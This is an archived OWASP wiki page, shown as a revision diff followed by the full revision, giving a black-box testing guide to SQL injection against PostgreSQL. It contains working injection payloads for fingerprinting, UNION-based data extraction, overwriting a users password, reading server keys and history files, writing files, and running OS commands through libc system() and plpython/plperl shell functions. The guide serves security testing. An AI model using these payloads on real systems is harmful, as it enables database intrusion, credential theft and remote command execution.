This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"

From OWASP
Jump to: navigation, search
m (Short Description of the Issue)
m (Black Box testing and example)
Line 14: Line 14:
 
== Identifing PostgreSQL ==
 
== Identifing PostgreSQL ==
  
When a SQL Injection has been found you need to carefully  
+
When a SQL Injection has been found, you need to carefully  
fingerprint backend database engine. You can determine that backend database engine
+
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using ''::'' cast operator.
+
is PostgreSQL by using the ''::'' cast operator.
  
 
'''Examples:'''
 
'''Examples:'''
Line 22: Line 22:
  
  
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.
+
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
  
 
'''Example''':
 
'''Example''':
Line 31: Line 31:
 
== Blind Injection ==
 
== Blind Injection ==
  
For blind SQL Injection you should take in consideration internal provided functions:
+
For blind SQL injection attacks, you should take in consideration the following built-in functions:
  
 
* String Length
 
* String Length
Line 41: Line 41:
  
  
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current
+
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
 
session process sleep for ''n'' seconds.  
 
session process sleep for ''n'' seconds.  
  
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:
+
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
  
 
== Single Quote unescape ==
 
== Single Quote unescape ==
  
String can be encoded, to prevent single quotes escaping, by using chr() function.
+
Strings can be encoded, to prevent single quotes escaping, by using chr() function.
  
   * chr(n): Returns the character whose ascii value corresponds to the number
+
   * chr(n): Returns the character whose ascii value corresponds to the number n
   * ascii(n): Returns the ascii value corresponds to the character
+
   * ascii(n): Returns the ascii value corresponds to the character n
  
  
Let say you want to encode the string 'root':
+
Let;s say you want to encode the string 'root':
 
   select ascii('r')
 
   select ascii('r')
 
   114
 
   114
Line 65: Line 65:
  
  
We can encode 'root' with:  
+
We can encode 'root' as:  
 
   chr(114)||chr(111)||chr(111)||chr(116)
 
   chr(114)||chr(111)||chr(111)||chr(116)
  
Line 77: Line 77:
 
=== Current User ===
 
=== Current User ===
  
Current user can be retrieved with the following SQL SELECT statements:
+
The identity of the current user can be retrieved with the following SQL SELECT statements:
  
 
   SELECT user
 
   SELECT user
Line 92: Line 92:
 
=== Current Database ===
 
=== Current Database ===
  
Native function current_database() return current database name.
+
The built-in function current_database() returns the current database name.
  
 
'''Example''':
 
'''Example''':
Line 101: Line 101:
 
=== Reading from a file ===
 
=== Reading from a file ===
  
ProstgreSQL provides two way to access local file:
+
ProstgreSQL provides two ways to access a local file:
 
* COPY statement
 
* COPY statement
 
* pg_read_file() internal function (starting from PostgreSQL 8.1)
 
* pg_read_file() internal function (starting from PostgreSQL 8.1)
Line 107: Line 107:
 
'''COPY:'''
 
'''COPY:'''
  
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.
+
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system with as the ''postgres'' user.
  
  
Line 118: Line 118:
 
</nowiki>
 
</nowiki>
  
Data should be retrieved by performi a ''UNION Query SQL Injection'':
+
Data should be retrieved by performing a ''UNION Query SQL Injection'':
 
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
 
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
 
* retrieve a row at time with UNION SQL Injection
 
* retrieve a row at time with UNION SQL Injection
Line 134: Line 134:
 
'''pg_read_file():'''
 
'''pg_read_file():'''
  
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside
+
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
 
DBMS data directory.
 
DBMS data directory.
  
Line 143: Line 143:
 
=== Writing to a file ===
 
=== Writing to a file ===
  
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well
+
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights
  
 
  <nowiki>
 
  <nowiki>
Line 151: Line 151:
 
=== Shell Injection ===
 
=== Shell Injection ===
  
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
+
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, tcl.
+
languages such as python, perl, and tcl.
  
  
 
==== Dynamic Library ====
 
==== Dynamic Library ====
  
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':
+
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
  
Line 166: Line 166:
 
* create a ''stdout'' table
 
* create a ''stdout'' table
 
*: ''CREATE TABLE stdout(id serial, system_out text)''
 
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting it's ''stdout''
+
* executing a shell command redirecting its ''stdout''
 
*: ''SELECT system('uname -a > /tmp/test')''
 
*: ''SELECT system('uname -a > /tmp/test')''
 
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
 
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
Line 193: Line 193:
  
 
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
 
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''
+
what user. It's not installed by default and can be enabled on a given database by ''CREATELANG''
  
 
* Check if PL/Python has been enabled on some databsae:
 
* Check if PL/Python has been enabled on some databsae:
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not try to enable:
+
* If not, try to enable:
 
*: ''CREATE LANGUAGE plpythonu''
 
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeded create a proxy shell function:
+
* If all of the above succeeded, create a proxy shell function:
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
 
* Have fun with:
 
* Have fun with:
Line 215: Line 215:
 
==== plperl ====
 
==== plperl ====
  
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.
+
Plperl allow to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.
  
 
* Check if PL/perl-untrusted has been enabled:
 
* Check if PL/perl-untrusted has been enabled:
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not assuming that sysadm has allready installed plperl package try :
+
* If not, assuming that sysadm has already installed the plperl package, try :
 
*: ''CREATE LANGUAGE plperlu''
 
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeded create a proxy shell function:
+
* If all of the above succeeded, create a proxy shell function:
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
 
* Have fun with:
 
* Have fun with:
Line 233: Line 233:
 
*Run a OS Command:
 
*Run a OS Command:
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 
  
 
= References =
 
= References =

Revision as of 23:14, 22 August 2008

Short Description of the Issue

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we suppose that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

Black Box testing and example

Identifing PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1


The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL injection attacks, you should take in consideration the following built-in functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


Starting from 8.2 PostgreSQL has introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds.

In previous version, you can easyly create a custom pg_sleep(n) by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number n
  * ascii(n): Returns the ascii value corresponds to the character n


Let;s say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Reading from a file

ProstgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system with as the postgres user.


Example:


 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves number of rows previously added in file_store with COPY statement
  • retrieve a row at time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

Examples:

  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting languages such as python, perl, and tcl.


Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout


Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on some databsae:
    SELECT count(*) FROM pg_language WHERE lanname='plpython'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If all of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allow to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so called application mask filtering of trusted/untrusted operations.

  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If all of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Tools

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net